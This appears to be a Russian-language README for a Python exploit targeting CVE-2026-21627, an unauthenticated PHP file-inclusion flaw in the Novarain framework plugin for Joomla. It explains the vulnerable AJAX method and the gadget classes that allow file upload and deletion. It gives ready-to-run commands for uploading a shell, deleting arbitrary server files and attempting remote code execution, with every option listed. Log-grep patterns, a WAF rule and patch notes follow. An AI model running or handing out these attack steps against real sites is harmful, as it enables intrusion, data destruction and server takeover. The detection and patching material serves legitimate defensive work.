
Python-эксплойт для CVE-2026-21627 — неаутентифицированное произвольное включение PHP-файлов в Novarain Framework для Joomla, позволяющее загрузку и удаление файлов, а также удалённое выполнение кода (RCE).
Неаутентифицированное произвольное включение файлов в фреймворке Novarain для Joomla (nrframework)
Критическая уязвимость в плагине Tassos/Novarain Framework (plg_system_nrframework) для Joomla позволяет неаутентифицированным атакующим включать произвольные PHP-файлы на сервере, создавать экземпляры произвольных классов и, комбинируя со встроенными классами-гаджетами, добиваться произвольной загрузки файлов и произвольного удаления файлов — всё без аутентификации.
| ID CVE | CVE-2026-21627 |
| Оценка CVSS | 9.5 (критическая) |
| Плагин | plg_system_nrframework (Tassos Framework / Novarain Framework) |
| Уязвимые версии | с 4.10.14 по 6.0.37 |
| Исправлено в | 6.0.38+ |
| CMS | Joomla 3.x, 4.x, 5.x |
Плагин nrframework поставляется вместе с несколькими популярными расширениями Joomla от Tassos.gr, включая Convert Forms, Engage Box, Google Structured Data и другие.
Метод ajaxTaskInclude() в nrframework.php явно внесён в белый список для доступа с фронтенда (без прав администратора) через массив $non_admin_tasks. Он принимает три параметра, управляемых пользователем:
path — использует входной фильтр RAW (нулевая санитизация, возможен обход пути)file — использует стандартный входной фильтр Joomlaclass — имя класса для создания экземпляра после включенияКонкатенированный путь $path . $file . '.php' передаётся напрямую в @include_once, что обеспечивает произвольное включение PHP-файлов. После включения указанный класс создаётся, и вызывается его метод onAJAX() с параметрами, управляемыми пользователем.
| Примитив | Гаджет | Серьёзность | Описание |
|---|---|---|---|
| Включение файлов | ajaxTaskInclude() | Критическая | Включение любого .php-файла на сервере |
| Удаление файлов | JFormFieldNRInlineFileUpload::onRemove() | Критическая | unlink() без проверки пути — удаление любого файла, доступного для записи веб-серверу |
| Загрузка файлов | JFormFieldNRInlineFileUpload::onUpload() | Высокая | Загрузка текстовых файлов в любую доступную для записи веб-каталог |
| Раскрытие пути | Ответ при загрузке | Средняя | Полный путь файловой системы, раскрываемый в JSON-ответе |
python3 cve_2026_21627.py --target <URL> --mode <MODE> [OPTIONS]
| Режим | Описание | Риск |
|---|---|---|
verify | Подтвердить наличие уязвимости | Безопасно / только чтение |
upload | Загрузить файл в контролируемый каталог | Средний |
delete | Удалить произвольный файл на сервере | Разрушительный |
rce | Попытка полной цепочки RCE (загрузка + выполнение) | Высокий |
info | Включить произвольный PHP-файл для разведки | Средний |
Проверка уязвимости:
python3 cve_2026_21627.py --target https://example.com --mode verify
Загрузка proof-of-concept файла:
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt
Загрузка SSI-шелла (требуется Apache mod_include):
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
Попытка цепочки RCE:
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"
Удаление файла (разрушительно):
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt
--target, -t URL цели (обязательно)
--mode, -m Режим эксплуатации: verify|upload|delete|rce|info (обязательно)
--sef-prefix Префикс SEF URL Joomla (по умолчанию: /it/)
--delay Задержка между запросами в секундах (по умолчанию: 2.5)
--proxy HTTP-прокси (например, http://127.0.0.1:8080)
--no-ssl-verify Отключить проверку SSL-сертификата
Режим загрузки:
--shell-type Тип файла: shtml|csv|txt|html (по умолчанию: shtml)
--upload-dir Каталог загрузки относительно JPATH_ROOT (по умолчанию: images)
--custom-content Пользовательское содержимое загружаемого файла
Режим удаления:
--file-path Полный путь на сервере к удаляемому файлу
Режим RCE:
--cmd Команда для выполнения (по умолчанию: id)
Режим info:
--php-path Путь к PHP-файлу относительно JPATH_SITE
--php-file Имя PHP-файла без расширения .php
--php-class PHP-класс для создания экземпляра
┌──────────────┐ ┌───────────────────┐ ┌─────────────────────┐
│ Атакующий │───>│ onAjaxNrframework │───>│ ajaxTaskInclude() │
│ │ │ (AJAX-маршрутизатор)│ │ │
│ task=include │ │ include находится │ │ path = RAW-ввод │
│ path=... │ │ в $non_admin_tasks│ │ @include_once $path │
│ file=... │ │ (аутентификация │ │ new $class()->onAJAX│
│ class=... │ │ не требуется) │ └──────────┬──────────┘
└──────────────┘ └───────────────────┘ │
v
┌─────────────────────────────────────┐
│ JFormFieldNRInlineFileUpload │
│ (класс-гаджет) │
│ │
│ onAjax() ──> onUpload() [ЗАПИСЬ] │
│ ──> onRemove() [УДАЛЕНИЕ]│
└─────────────────────────────────────┘
include вызывается с контролируемым path (фильтр RAW = без санитизации), указывающим на файл-гаджет.JFormFieldNRInlineFileUpload предоставляет onUpload() для записи файлов и onRemove() для удаления файлов, оба с недостаточной проверкой входных данных.requestspip install requests
Отслеживайте журналы доступа на предмет попыток эксплуатации:
# Шаблон журнала Apache/Nginx
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log
Правило WAF — Блокировать запросы, соответствующие:
option=com_ajax.*plugin=nrframework.*task=include.*path=
Аудит после компрометации:
images/ и другие доступные для записи каталоги на наличие неожиданных файловconfiguration.php и .htaccess@include_onceajaxTaskInclude() и заменяет его строгим реестром обработчиков (AjaxHandlerRegistry)| Дата | Событие |
|---|---|
| 2026-02 | Уязвимость обнаружена в ходе авторизованного пентеста |
| 2026-02 | Создан эксплойт |
| 2026-02 | Публичное раскрытие |
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Используйте этот эксплойт только против систем, на тестирование которых у вас есть явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за неправомерное использование.
Yallasec — yallasec.com
Arcangelo Saracino — @arkango